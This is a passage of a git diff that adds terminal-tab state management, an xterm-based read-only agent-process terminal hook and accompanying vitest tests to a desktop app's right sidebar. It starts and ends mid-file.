+    expect(JSON.parse(window.localStorage.getItem(STORAGE_KEY) ?? '{}')).toEqual({
+      activeTerminalId: userId,
+      terminals: [{ auto: false, cwd: '/repo', id: userId, reviveBuffer: 'recent scrollback', title: 'server' }]
+    })
+  })
+
+  it('never attaches a revive buffer to an agent tab', async () => {
+    const { $terminals, ensureAgentTerminal, updateTerminalReviveBuffer } = await loadTerminalStore()
+
+    const agentId = ensureAgentTerminal('proc-1', 'background task')!
+    updateTerminalReviveBuffer(agentId, 'should be ignored')
+
+    expect($terminals.get().find(term => term.id === agentId)?.reviveBuffer).toBeUndefined()
+    expect(window.localStorage.getItem(STORAGE_KEY)).toBeNull()
+  })
+
+  it('tail-trims an oversized revive buffer to stay under the storage budget', async () => {
+    const { $terminals, createTerminal, updateTerminalReviveBuffer } = await loadTerminalStore()
+
+    const userId = createTerminal('/repo')
+    const huge = 'x'.repeat(60_000)
+    updateTerminalReviveBuffer(userId, huge)
+
+    const stored = $terminals.get().find(term => term.id === userId)?.reviveBuffer ?? ''
+    expect(stored.length).toBe(48_000)
+    expect(stored).toBe(huge.slice(-48_000))
+  })
+
+  it('clears remembered tabs when all terminals close', async () => {
+    const { closeAllTerminals, createTerminal } = await loadTerminalStore()
+
+    createTerminal('/repo')
+    expect(window.localStorage.getItem(STORAGE_KEY)).not.toBeNull()
+
+    closeAllTerminals()
+    expect(window.localStorage.getItem(STORAGE_KEY)).toBeNull()
+  })
+
+  it('restores and persists the last observed cwd so a reopened tab lands where the user cd-d', async () => {
+    window.localStorage.setItem(
+      STORAGE_KEY,
+      JSON.stringify({
+        activeTerminalId: 'term-one',
+        terminals: [{ auto: false, cwd: '/repo', id: 'term-one', restoreCwd: '/repo/packages/api', title: 'zsh' }]
+      })
+    )
+
+    const { $terminals, updateTerminalRestoreCwd } = await loadTerminalStore()
+
+    expect($terminals.get()[0]?.restoreCwd).toBe('/repo/packages/api')
+
+    updateTerminalRestoreCwd('term-one', '/repo/packages/web')
+    expect($terminals.get()[0]?.restoreCwd).toBe('/repo/packages/web')
+    expect(JSON.parse(window.localStorage.getItem(STORAGE_KEY) ?? '{}').terminals[0].restoreCwd).toBe(
+      '/repo/packages/web'
+    )
+  })
+
+  it('never attaches a restore cwd to an agent tab and ignores empty values', async () => {
+    const { $terminals, createTerminal, ensureAgentTerminal, updateTerminalRestoreCwd } = await loadTerminalStore()
+
+    const userId = createTerminal('/repo')
+    const agentId = ensureAgentTerminal('proc-1', 'background task')!
+
+    updateTerminalRestoreCwd(agentId, '/somewhere')
+    updateTerminalRestoreCwd(userId, '   ')
+
+    expect($terminals.get().find(term => term.id === agentId)?.restoreCwd).toBeUndefined()
+    expect($terminals.get().find(term => term.id === userId)?.restoreCwd).toBeUndefined()
+  })
+})
+
+describe('session cwd → terminal tab linking', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    vi.resetModules()
+  })
+
+  it('re-selects the tab already pointed at the new session cwd (trailing slash tolerated)', async () => {
+    const { $activeTerminalId, $currentCwd, createTerminal } = await loadTerminalStore()
+
+    const repoTab = createTerminal('/repo')
+    const otherTab = createTerminal('/elsewhere')
+    expect($activeTerminalId.get()).toBe(otherTab)
+
+    $currentCwd.set('/repo/')
+    expect($activeTerminalId.get()).toBe(repoTab)
+  })
+
+  it('matches the live shell cwd (restoreCwd) over the launch dir', async () => {
+    const { $activeTerminalId, $currentCwd, createTerminal, updateTerminalRestoreCwd } = await loadTerminalStore()
+
+    const movedTab = createTerminal('/repo')
+    updateTerminalRestoreCwd(movedTab, '/repo/packages/api')
+    const otherTab = createTerminal('/elsewhere')
+    expect($activeTerminalId.get()).toBe(otherTab)
+
+    $currentCwd.set('/repo/packages/api')
+    expect($activeTerminalId.get()).toBe(movedTab)
+
+    // The launch dir no longer describes where that shell lives.
+    $currentCwd.set('/repo')
+    expect($activeTerminalId.get()).toBe(movedTab)
+  })
+
+  it('leaves the active tab alone when no tab lives in the session cwd or the cwd is empty', async () => {
+    const { $activeTerminalId, $currentCwd, createTerminal } = await loadTerminalStore()
+
+    createTerminal('/repo')
+    const activeTab = createTerminal('/elsewhere')
+
+    $currentCwd.set('/unrelated')
+    expect($activeTerminalId.get()).toBe(activeTab)
+
+    $currentCwd.set('')
+    expect($activeTerminalId.get()).toBe(activeTab)
+  })
+
+  it('stays put when the active tab already lives in the target cwd, and never matches agent tabs', async () => {
+    const { $activeTerminalId, $currentCwd, createTerminal, ensureAgentTerminal, selectTerminal } =
+      await loadTerminalStore()
+
+    const first = createTerminal('/repo')
+    const second = createTerminal('/repo')
+    ensureAgentTerminal('proc-1', 'background task')
+    selectTerminal(second)
+
+    // Both tabs match; the one already active keeps focus (no first-match steal).
+    $currentCwd.set('/repo')
+    expect($activeTerminalId.get()).toBe(second)
+
+    selectTerminal(first)
+    $currentCwd.set('/repo')
+    expect($activeTerminalId.get()).toBe(first)
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/terminal/terminals.ts b/ui-desktop/src/app/right-sidebar/terminal/terminals.ts
new file mode 100644
index 000000000..41f255334
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/terminals.ts
@@ -0,0 +1,399 @@
+import { atom, computed } from 'nanostores'
+
+import { readKey, writeKey } from '@/lib/storage'
+import { $currentCwd } from '@/store/session'
+
+import { setTerminalTakeover } from '../store'
+
+import { seedAgentTerminalCommand } from './agent-terminal-stream'
+
+/** One in-app terminal tab. `id` is the renderer-side handle (distinct from the
+ *  PTY session id the main process mints); each instance owns its own shell. */
+export interface TerminalEntry {
+  id: string
+  /** Display label. `auto` adopts the resolved shell name until the user renames. */
+  title: string
+  auto: boolean
+  /** Working directory, snapshotted once at creation. Terminals live outside
+   *  session/project state — the only thing they inherit is this initial cwd
+   *  (the project root if opened in one, else the backend's default). Switching
+   *  sessions never moves or recreates a terminal; at most it re-SELECTS a tab
+   *  already pointed at the session's cwd (see the $currentCwd listener). */
+  cwd: string
+  /** Last observed working directory of the live shell (tracked via the PTY
+   *  cwd probe / OSC 7). Used to reopen the tab where the user last `cd`'d
+   *  rather than the original launch dir. User tabs only. */
+  restoreCwd?: string
+  /** Serialized xterm scrollback from the last session, replayed on relaunch so
+   *  the tab reopens with its recent history (VS Code parity). Processes are NOT
+   *  revived — a fresh shell starts beneath the restored buffer. Captured live
+   *  for user tabs only; agent mirrors stay runtime-only. */
+  reviveBuffer?: string
+  /** `user` = interactive PTY shell. `agent` = read-only mirror of an agent
+   *  background process (`terminal(background=true)`), keyed by `procId`. */
+  kind: 'user' | 'agent'
+  procId?: string
+}
+
+interface PersistedTerminalEntry {
+  auto: boolean
+  cwd: string
+  id: string
+  restoreCwd?: string
+  reviveBuffer?: string
+  title: string
+}
+
+interface PersistedTerminalState {
+  activeTerminalId: null | string
+  terminals: PersistedTerminalEntry[]
+}
+
+const TERMINALS_STORAGE_KEY = 'clawcodex.desktop.terminals.v1'
+
+// Cap a single tab's replayed history so the persisted layout can't blow the
+// localStorage quota. Roughly mirrors VS Code's persistentSessionScrollback
+// default (100 lines) once the serialized escape codes are counted in.
+const MAX_REVIVE_BUFFER_CHARS = 48_000
+
+function sanitizePersistedTerminal(value: unknown): PersistedTerminalEntry | null {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) {
+    return null
+  }
+
+  const record = value as Record<string, unknown>
+  const id = typeof record.id === 'string' ? record.id.trim() : ''
+  const title = typeof record.title === 'string' ? record.title.trim() : ''
+  const cwd = typeof record.cwd === 'string' ? record.cwd : ''
+  const restoreCwd = typeof record.restoreCwd === 'string' && record.restoreCwd ? record.restoreCwd : undefined
+  const reviveBuffer = typeof record.reviveBuffer === 'string' ? record.reviveBuffer : undefined
+
+  if (!id) {
+    return null
+  }
+
+  return {
+    auto: typeof record.auto === 'boolean' ? record.auto : true,
+    cwd,
+    id,
+    ...(restoreCwd ? { restoreCwd } : {}),
+    ...(reviveBuffer ? { reviveBuffer } : {}),
+    title: title || 'Terminal'
+  }
+}
+
+function loadPersistedTerminals(): PersistedTerminalState {
+  const fallback: PersistedTerminalState = { activeTerminalId: null, terminals: [] }
+  const raw = readKey(TERMINALS_STORAGE_KEY)
+
+  if (!raw) {
+    return fallback
+  }
+
+  try {
+    const parsed = JSON.parse(raw) as unknown
+
+    if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
+      return fallback
+    }
+
+    const record = parsed as Record<string, unknown>
+
+    const terminals = Array.isArray(record.terminals)
+      ? record.terminals.map(sanitizePersistedTerminal).filter((term): term is PersistedTerminalEntry => Boolean(term))
+      : []
+
+    const active =
+      typeof record.activeTerminalId === 'string' && terminals.some(term => term.id === record.activeTerminalId)
+        ? record.activeTerminalId
+        : (terminals[0]?.id ?? null)
+
+    return { activeTerminalId: active, terminals }
+  } catch {
+    return fallback
+  }
+}
+
+// Persist synchronously on every change (the app-wide convention — see panes.ts
+// / layout.ts). Capturing history this way means a snapshot is already on disk
+// well before the renderer tears down, so app quit needs no unload hook.
+function persistTerminals(list: readonly TerminalEntry[], activeTerminalId: null | string) {
+  const terminals = list
+    .filter(term => term.kind === 'user')
+    .map(term => ({
+      auto: term.auto,
+      cwd: term.cwd,
+      id: term.id,
+      ...(term.restoreCwd ? { restoreCwd: term.restoreCwd } : {}),
+      ...(term.reviveBuffer ? { reviveBuffer: term.reviveBuffer } : {}),
+      title: term.title
+    }))
+
+  if (!terminals.length) {
+    writeKey(TERMINALS_STORAGE_KEY, null)
+
+    return
+  }
+
+  const active = terminals.some(term => term.id === activeTerminalId) ? activeTerminalId : (terminals[0]?.id ?? null)
+  writeKey(TERMINALS_STORAGE_KEY, JSON.stringify({ activeTerminalId: active, terminals }))
+}
+
+const restored = loadPersistedTerminals()
+
+export const $terminals = atom<readonly TerminalEntry[]>(
+  restored.terminals.map(term => ({ ...term, kind: 'user' as const }))
+)
+export const $activeTerminalId = atom<string | null>(restored.activeTerminalId)
+
+$terminals.subscribe(list => persistTerminals(list, $activeTerminalId.get()))
+$activeTerminalId.subscribe(active => persistTerminals($terminals.get(), active))
+
+export const $activeTerminal = computed(
+  [$terminals, $activeTerminalId],
+  (list, id) => list.find(term => term.id === id) ?? null
+)
+
+const newId = () =>
+  globalThis.crypto?.randomUUID?.() ?? `term-${Date.now().toString(36)}-${Math.random().toString(36).slice(2)}`
+
+/** Append a fresh terminal and focus it. Captures the current cwd once (its only
+ *  tie to session/project state); pass an explicit cwd to override. Returns the id. */
+export function createTerminal(cwd: string = $currentCwd.get()): string {
+  const id = newId()
+  $terminals.set([...$terminals.get(), { id, title: 'Terminal', auto: true, cwd, kind: 'user' }])
+  $activeTerminalId.set(id)
+
+  return id
+}
+
+// Procs we've already surfaced a tab for — so closing an agent tab doesn't
+// resurrect it on the next poll while the process is still running.
+const surfacedProcs = new Set<string>()
+
+const findByProc = (procId: string) => $terminals.get().find(term => term.procId === procId)
+
+/** Auto-surface an agent background process as a read-only tab — once. Returns
+ *  the tab id, or null if it was already surfaced and the user has since closed it. */
+export function ensureAgentTerminal(procId: string, title: string): string | null {
+  const existing = findByProc(procId)
+
+  if (existing) {
+    return existing.id
+  }
+
+  if (surfacedProcs.has(procId)) {
+    return null
+  }
+
+  surfacedProcs.add(procId)
+  const id = newId()
+  $terminals.set([...$terminals.get(), { id, title: title || 'agent', auto: false, cwd: '', kind: 'agent', procId }])
+
+  return id
+}
+
+/** Open + focus an agent process's tab (the status-stack link), recreating it if
+ *  the user had closed it. Opens the pane. */
+export function openAgentTerminal(procId: string, title: string): void {
+  surfacedProcs.add(procId)
+  seedAgentTerminalCommand(procId, title)
+  let id = findByProc(procId)?.id
+
+  if (!id) {
+    id = newId()
+    $terminals.set([...$terminals.get(), { id, title: title || 'agent', auto: false, cwd: '', kind: 'agent', procId }])
+  }
+
+  $activeTerminalId.set(id)
+  setTerminalTakeover(true)
+}
+
+/** Guarantee at least one tab exists when the pane opens.
+ *  If a status-stack click already opened an agent tab, don't create a
+ *  second, unrelated user shell just because the pane became visible. */
+export function ensureTerminal(): void {
+  if ($terminals.get().length === 0) {
+    createTerminal()
+  }
+}
+
+export function selectTerminal(id: string): void {
+  if ($terminals.get().some(term => term.id === id)) {
+    $activeTerminalId.set(id)
+  }
+}
+
+// Compare-ready form of a directory path: trimmed, trailing separators dropped
+// (keeping a bare root intact) so `/repo/` and `/repo` are the same place.
+const normalizePath = (value: string) => {
+  const trimmed = value.trim()
+
+  return trimmed.length > 1 ? trimmed.replace(/[\\/]+$/, '') || trimmed : trimmed
+}
+
+/** The directory a tab points at right now — the live shell cwd once observed
+ *  (survives a `cd`), else the launch dir. */
+const terminalCwd = (term: TerminalEntry) => normalizePath(term.restoreCwd || term.cwd)
+
+// Session ↔ terminal linking. Entering a session whose cwd already has a user
+// terminal pointed at it re-selects that tab, so the terminal pane follows the
+// workspace you're in. Selection ONLY — it never creates a shell, never closes
+// one, and never reveals the pane; a detached session (empty cwd) or a cwd no
+// tab lives in leaves the tabs exactly where they were. `listen` (not
+// `subscribe`) so boot keeps the persisted active tab.
+$currentCwd.listen(cwd => {
+  const target = normalizePath(cwd)
+
+  if (!target) {
+    return
+  }
+
+  const list = $terminals.get()
+  const active = list.find(term => term.id === $activeTerminalId.get())
+
+  if (active?.kind === 'user' && terminalCwd(active) === target) {
+    return
+  }
+
+  const match = list.find(term => term.kind === 'user' && terminalCwd(term) === target)
+
+  if (match) {
+    $activeTerminalId.set(match.id)
+  }
+})
+
+/** Move the active tab by `direction` (+1 next / -1 prev), wrapping around. */
+export function cycleTerminal(direction: 1 | -1): void {
+  const list = $terminals.get()
+
+  if (list.length < 2) {
+    return
+  }
+
+  const current = Math.max(
+    0,
+    list.findIndex(term => term.id === $activeTerminalId.get())
+  )
+
+  $activeTerminalId.set(list[(current + direction + list.length) % list.length].id)
+}
+
+/** Drop a terminal. Focus slides to the neighbor that fills its slot; closing
+ *  the last one closes the whole pane. */
+export function closeTerminal(id: string): void {
+  const list = $terminals.get()
+  const index = list.findIndex(term => term.id === id)
+
+  if (index < 0) {
+    return
+  }
+
+  const next = list.filter(term => term.id !== id)
+  $terminals.set(next)
+
+  if ($activeTerminalId.get() === id) {
+    $activeTerminalId.set((next[index] ?? next[index - 1])?.id ?? null)
+  }
+
+  if (!next.length) {
+    setTerminalTakeover(false)
+  }
+}
+
+/** Close the read-only agent tab mirroring a background process. The agent
+ *  drives this via the desktop-gated `close_terminal` tool → `terminal.close`.
+ *  The process is NOT killed — only the view is dropped; `surfacedProcs` keeps
+ *  it from auto-resurfacing, and the status-stack row can reopen it on demand.
+ *  No-op when no such tab exists. */
+export function closeAgentTerminalByProc(procId: string): boolean {
+  const term = $terminals.get().find(t => t.kind === 'agent' && t.procId === procId)
+
+  if (!term) {
+    return false
+  }
+
+  closeTerminal(term.id)
+
+  return true
+}
+
+export function closeActiveTerminal(): void {
+  const id = $activeTerminalId.get()
+
+  if (id) {
+    closeTerminal(id)
+  }
+}
+
+export function closeAllTerminals(): void {
+  if ($terminals.get().length === 0) {
+    return
+  }
+
+  $terminals.set([])
+  $activeTerminalId.set(null)
+  setTerminalTakeover(false)
+}
+
+export function closeOtherTerminals(id: string): void {
+  const keep = $terminals.get().find(term => term.id === id)
+
+  if (keep) {
+    $terminals.set([keep])
+    $activeTerminalId.set(keep.id)
+  }
+}
+
+/** Record the latest serialized scrollback for a tab so it can be replayed on
+ *  the next launch. Oversized buffers are tail-trimmed to stay under the storage
+ *  budget; only user tabs ever carry one. */
+export function updateTerminalReviveBuffer(id: string, reviveBuffer: string): void {
+  const capped =
+    reviveBuffer.length > MAX_REVIVE_BUFFER_CHARS ? reviveBuffer.slice(-MAX_REVIVE_BUFFER_CHARS) : reviveBuffer
+
+  $terminals.set(
+    $terminals.get().map(term => (term.id === id && term.kind === 'user' ? { ...term, reviveBuffer: capped } : term))
+  )
+}
+
+/** Record the shell's latest working directory for a tab so the next launch can
+ *  restart the PTY there instead of the original launch dir. User tabs only;
+ *  no-ops when the value is empty or unchanged to avoid redundant persistence. */
+export function updateTerminalRestoreCwd(id: string, restoreCwd: string): void {
+  const next = restoreCwd.trim()
+
+  if (!next) {
+    return
+  }
+
+  $terminals.set(
+    $terminals.get().map(term => {
+      if (term.id !== id || term.kind !== 'user' || term.restoreCwd === next) {
+        return term
+      }
+
+      return { ...term, restoreCwd: next }
+    })
+  )
+}
+
+export function renameTerminal(id: string, title: string): void {
+  const trimmed = title.trim()
+
+  $terminals.set(
+    $terminals.get().map(term => (term.id === id ? { ...term, title: trimmed || term.title, auto: false } : term))
+  )
+}
+
+/** A live terminal reports its resolved shell; adopt it as the label only while
+ *  the user hasn't named the tab themselves. */
+export function reportTerminalShell(id: string, shell: string): void {
+  const name = shell.trim()
+
+  if (!name) {
+    return
+  }
+
+  $terminals.set($terminals.get().map(term => (term.id === id && term.auto ? { ...term, title: name } : term)))
+}
diff --git a/ui-desktop/src/app/right-sidebar/terminal/use-agent-terminal.test.tsx b/ui-desktop/src/app/right-sidebar/terminal/use-agent-terminal.test.tsx
new file mode 100644
index 000000000..a917f0f7c
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/use-agent-terminal.test.tsx
@@ -0,0 +1,156 @@
+import { act, render, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { useAgentTerminal } from './use-agent-terminal'
+
+const xterm = vi.hoisted(() => ({
+  attachCustomKeyEventHandler: vi.fn(),
+  clearSelection: vi.fn(),
+  dispose: vi.fn(),
+  focus: vi.fn(),
+  getSelection: vi.fn(() => ''),
+  loadAddon: vi.fn(),
+  onSelectionChange: vi.fn(() => ({ dispose: vi.fn() })),
+  open: vi.fn(),
+  refresh: vi.fn(),
+  write: vi.fn()
+}))
+
+const terminalRegistrations = vi.hoisted(() => ({
+  makeTerminalReader: vi.fn(() => vi.fn()),
+  registerReader: vi.fn(() => vi.fn()),
+  registerWriter: vi.fn(() => vi.fn())
+}))
+
+vi.mock('@xterm/xterm', () => ({
+  Terminal: class {
+    readonly buffer = { active: {} }
+    readonly rows = 24
+    readonly unicode = { activeVersion: '6' }
+    options: Record<string, unknown>
+
+    constructor(options: Record<string, unknown>) {
+      this.options = { ...options }
+    }
+
+    attachCustomKeyEventHandler = xterm.attachCustomKeyEventHandler
+    clearSelection = xterm.clearSelection
+    dispose = xterm.dispose
+    focus = xterm.focus
+    getSelection = xterm.getSelection
+    loadAddon = xterm.loadAddon
+    onSelectionChange = xterm.onSelectionChange
+    open = xterm.open
+    refresh = xterm.refresh
+    write = xterm.write
+  }
+}))
+
+vi.mock('@xterm/addon-fit', () => ({
+  FitAddon: class {
+    fit = vi.fn()
+  }
+}))
+
+vi.mock('@xterm/addon-unicode11', () => ({
+  Unicode11Addon: class {}
+}))
+
+vi.mock('@xterm/addon-web-links', () => ({
+  WebLinksAddon: class {}
+}))
+
+vi.mock('@xterm/addon-webgl', () => ({
+  WebglAddon: class {
+    clearTextureAtlas = vi.fn()
+    dispose = vi.fn()
+    onContextLoss = vi.fn()
+  }
+}))
+
+vi.mock('@/components/ui/copy-button', () => ({
+  writeClipboardText: vi.fn()
+}))
+
+vi.mock('@/lib/haptics', () => ({
+  triggerHaptic: vi.fn()
+}))
+
+vi.mock('@/themes/context', () => ({
+  useTheme: () => ({
+    renderedMode: 'dark',
+    theme: { terminal: {} },
+    themeName: 'test'
+  })
+}))
+
+vi.mock('./agent-terminal-stream', () => ({
+  registerAgentTerminalWriter: terminalRegistrations.registerWriter
+}))
+
+vi.mock('./buffer', () => ({
+  makeTerminalReader: terminalRegistrations.makeTerminalReader,
+  registerTerminalReader: terminalRegistrations.registerReader
+}))
+
+function Harness() {
+  const { hostRef } = useAgentTerminal({ active: false, id: 'agent-tab', procId: 'proc-1' })
+
+  return <div ref={hostRef} />
+}
+
+describe('useAgentTerminal', () => {
+  let resolveFontLoad!: (faces: FontFace[]) => void
+  let resizeObserverConstructor = vi.fn<() => void>()
+
+  beforeEach(() => {
+    const pendingFontLoad = new Promise<FontFace[]>(resolve => {
+      resolveFontLoad = resolve
+    })
+
+    Object.defineProperty(globalThis.document, 'fonts', {
+      configurable: true,
+      value: { load: vi.fn(() => pendingFontLoad) }
+    })
+
+    resizeObserverConstructor = vi.fn<() => void>()
+    vi.stubGlobal(
+      'ResizeObserver',
+      class {
+        constructor() {
+          resizeObserverConstructor()
+        }
+
+        disconnect = vi.fn()
+        observe = vi.fn()
+        unobserve = vi.fn()
+      } as unknown as typeof ResizeObserver
+    )
+  })
+
+  afterEach(() => {
+    vi.clearAllMocks()
+    vi.unstubAllGlobals()
+    Reflect.deleteProperty(globalThis.document, 'fonts')
+  })
+
+  it('unmounts safely while initial font preparation is pending', async () => {
+    const { unmount } = render(<Harness />)
+
+    await waitFor(() => expect(globalThis.document.fonts.load).toHaveBeenCalledTimes(3))
+
+    expect(() => unmount()).not.toThrow()
+    expect(xterm.dispose).toHaveBeenCalledOnce()
+    expect(resizeObserverConstructor).not.toHaveBeenCalled()
+
+    await act(async () => {
+      resolveFontLoad([])
+      await Promise.resolve()
+    })
+
+    expect(xterm.open).not.toHaveBeenCalled()
+    expect(resizeObserverConstructor).not.toHaveBeenCalled()
+    expect(terminalRegistrations.registerWriter).not.toHaveBeenCalled()
+    expect(terminalRegistrations.registerReader).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/terminal/use-agent-terminal.ts b/ui-desktop/src/app/right-sidebar/terminal/use-agent-terminal.ts
new file mode 100644
index 000000000..339d70144
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/use-agent-terminal.ts
@@ -0,0 +1,224 @@
+import { FitAddon } from '@xterm/addon-fit'
+import { Unicode11Addon } from '@xterm/addon-unicode11'
+import { WebglAddon } from '@xterm/addon-webgl'
+import { Terminal } from '@xterm/xterm'
+import { useEffect, useRef } from 'react'
+
+import { writeClipboardText } from '@/components/ui/copy-button'
+import { markRightPanePerf } from '@/debug/right-pane-events'
+import { triggerHaptic } from '@/lib/haptics'
+import { useTheme } from '@/themes/context'
+
+import { observeActiveTerminalResize } from './active-resize'
+import { registerAgentTerminalWriter } from './agent-terminal-stream'
+import { makeTerminalReader, registerTerminalReader } from './buffer'
+import { mirrorSelection, terminalClipboardIntent } from './clipboard'
+import { terminalLinkHandler, terminalWebLinksAddon } from './links'
+import { isMacPlatform, resolveSurfaceColor, terminalTheme } from './selection'
+import { prepareTerminalFontFamily } from './terminal-font'
+import { useTerminalFontController } from './use-terminal-font'
+
+// Read-only terminal for an agent background process: a write-only xterm (no PTY,
+// no input) fed live by the backend output stream, keyed by process id. Shares
+// the user terminal's look so the two read as one surface.
+export function useAgentTerminal({ active, id, procId }: { active: boolean; id: string; procId: string }) {
+  const { renderedMode, theme, themeName } = useTheme()
+  const hostRef = useRef<HTMLDivElement | null>(null)
+  const termRef = useRef<Terminal | null>(null)
+  const webglRef = useRef<WebglAddon | null>(null)
+  const fitRef = useRef<((visible: boolean) => void) | null>(null)
+  const initialActiveFitRef = useRef(false)
+  const { latestFontFamilyRef, mountedRef } = useTerminalFontController({ fitRef, termRef, webglRef })
+
+  const surfaceTheme = () => {
+    const ansi = renderedMode === 'dark' ? (theme.darkTerminal ?? theme.terminal) : theme.terminal
+    const base = terminalTheme(renderedMode, ansi)
+    // Fall back to the palette's own background, not white — a hardcoded
+    // '#ffffff' flashes a white slab in dark mode whenever the probe can't read
+    // the token (pre-paint mount). Same contract as the user terminal.
+    const surface = resolveSurfaceColor(base.background ?? '#ffffff')
+
+    return { ...base, background: surface, cursorAccent: surface }
+  }
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const host = hostRef.current
+
+    if (!host) {
+      return
+    }
+
+    let disposed = false
+
+    let unregister = () => {}
+
+    let unregisterReader = () => {}
+
+    const term = new Terminal({
+      allowProposedApi: true,
+      allowTransparency: false,
+      convertEol: true,
+      cursorBlink: false,
+      disableStdin: true,
+      fontFamily: latestFontFamilyRef.current,
+      fontSize: 11,
+      fontWeight: 'normal',
+      fontWeightBold: 'bold',
+      letterSpacing: 0,
+      lineHeight: 1.12,
+      linkHandler: terminalLinkHandler,
+      minimumContrastRatio: 4.5,
+      scrollback: 1000,
+      theme: surfaceTheme()
+    })
+
+    const fit = new FitAddon()
+    term.loadAddon(fit)
+    term.loadAddon(new Unicode11Addon())
+    term.loadAddon(terminalWebLinksAddon())
+    term.unicode.activeVersion = '11'
+
+    // Read-only mirror, but the output is exactly what people want to copy.
+    // No paste path: this terminal has no PTY to paste into.
+    const selectionDisposable = term.onSelectionChange(() => mirrorSelection(host, term.getSelection()))
+
+    term.attachCustomKeyEventHandler(event => {
+      const intent = terminalClipboardIntent(event, {
+        hasSelection: Boolean(term.getSelection()),
+        isMac: isMacPlatform()
+      })
+
+      if (intent !== 'copy') {
+        return true
+      }
+
+      event.preventDefault()
+      void writeClipboardText(term.getSelection()).catch(() => {
+        // Clipboard unavailable — leave the selection so the user can retry.
+      })
+      term.clearSelection()
+      triggerHaptic('selection')
+
+      return false
+    })
+
+    fitRef.current = visible => {
+      if (host.clientWidth > 0 && host.clientHeight > 0) {
+        try {
+          fit.fit()
+          markRightPanePerf(visible ? 'terminal-fit-active' : 'terminal-fit-hidden', id)
+        } catch {
+          // Mid-transition layout — the next observer tick refits.
+        }
+      }
+    }
+
+    const mount = () => {
+      if (disposed || !host.isConnected) {
+        return
+      }
+
+      term.open(host)
+      termRef.current = term
+      mountedRef.current = true
+
+      try {
+        const webgl = new WebglAddon()
+        webgl.onContextLoss(() => {
+          webgl.dispose()
+          webglRef.current = null
+        })
+        term.loadAddon(webgl)
+        webglRef.current = webgl
+      } catch {
+        // No WebGL — xterm falls back to the DOM renderer.
+      }
+
+      fitRef.current?.(active)
+      initialActiveFitRef.current = active
+
+      // Stream live output straight into the terminal (replays backlog on attach).
+      unregister = registerAgentTerminalWriter(procId, chunk => term.write(chunk))
+      unregisterReader = registerTerminalReader(id, makeTerminalReader(term))
+    }
+
+    void prepareTerminalFontFamily(
+      () => latestFontFamilyRef.current,
+      () => !disposed && host.isConnected
+    ).then(fontFamily => {
+      if (!fontFamily) {
+        return
+      }
+
+      term.options.fontFamily = fontFamily
+      mount()
+    })
+
+    return () => {
+      disposed = true
+      mountedRef.current = false
+      unregister()
+      unregisterReader()
+      selectionDisposable.dispose()
+      fitRef.current = null
+      term.dispose()
+      termRef.current = null
+      webglRef.current = null
+    }
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [])
+
+  useEffect(() => {
+    const term = termRef.current
+
+    if (!term) {
+      return
+    }
+
+    const raf = requestAnimationFrame(() => {
+      term.options.theme = surfaceTheme()
+      webglRef.current?.clearTextureAtlas()
+    })
+
+    return () => cancelAnimationFrame(raf)
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [renderedMode, themeName])
+
+  // Keep inactive agent terminals mounted for their backlog, but do not observe
+  // or fit them until they become the visible tab.
+  // eslint-disable-next-line no-restricted-syntax -- lifecycle flag prevents a duplicate first-mount fit
+  useEffect(() => {
+    if (!active) {
+      initialActiveFitRef.current = false
+
+      return
+    }
+
+    const host = hostRef.current
+
+    if (!host) {
+      return
+    }
+
+    const fitOnActivate = !initialActiveFitRef.current
+    initialActiveFitRef.current = false
+
+    return observeActiveTerminalResize(host, {
+      fitOnActivate,
+      onFit: () => fitRef.current?.(true),
+      onActivate: () => {
+        const term = termRef.current
+
+        webglRef.current?.clearTextureAtlas()
+        term?.refresh(0, term.rows - 1)
+        // Take focus on activation (parity with the user terminal) so the active
+        // agent tab holds focus and ⌘W's isFocusWithin('[data-terminal]') routes
+        // the close to this tab rather than to a preview.
+        term?.focus()
+      }
+    })
+  }, [active])
+
+  return { hostRef }
+}
diff --git a/ui-desktop/src/app/right-sidebar/terminal/use-terminal-font.test.tsx b/ui-desktop/src/app/right-sidebar/terminal/use-terminal-font.test.tsx
new file mode 100644
index 000000000..9caff182e
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/use-terminal-font.test.tsx
@@ -0,0 +1,40 @@
+// @vitest-environment jsdom
+import { act, renderHook, waitFor } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { $terminalFontFamily, setTerminalFontFamilyFromConfig } from './terminal-font'
+import { useTerminalFontController } from './use-terminal-font'
+
+describe('useTerminalFontController', () => {
+  afterEach(() => setTerminalFontFamilyFromConfig(''))
+
+  it('repaints an already-mounted xterm when the profile font changes', async () => {
+    const term = {
+      options: { fontFamily: 'fallback' },
+      refresh: vi.fn(),
+      rows: 18
+    }
+
+    const fit = vi.fn()
+
+    const clearTextureAtlas = vi.fn()
+
+    const refs = {
+      fitRef: { current: fit },
+      termRef: { current: term },
+      webglRef: { current: { clearTextureAtlas } }
+    }
+
+    const { result } = renderHook(() =>
+      useTerminalFontController(refs as unknown as Parameters<typeof useTerminalFontController>[0])
+    )
+
+    result.current.mountedRef.current = true
+    act(() => $terminalFontFamily.set('MesloLGS NF'))
+
+    await waitFor(() => expect(term.options.fontFamily).toContain('MesloLGS NF'))
+    expect(fit).toHaveBeenCalledOnce()
+    expect(clearTextureAtlas).toHaveBeenCalledOnce()
+    expect(term.refresh).toHaveBeenCalledWith(0, 17)
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/terminal/use-terminal-font.ts b/ui-desktop/src/app/right-sidebar/terminal/use-terminal-font.ts
new file mode 100644
index 000000000..8bcf76426
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/use-terminal-font.ts
@@ -0,0 +1,53 @@
+import { useStore } from '@nanostores/react'
+import type { WebglAddon } from '@xterm/addon-webgl'
+import type { Terminal } from '@xterm/xterm'
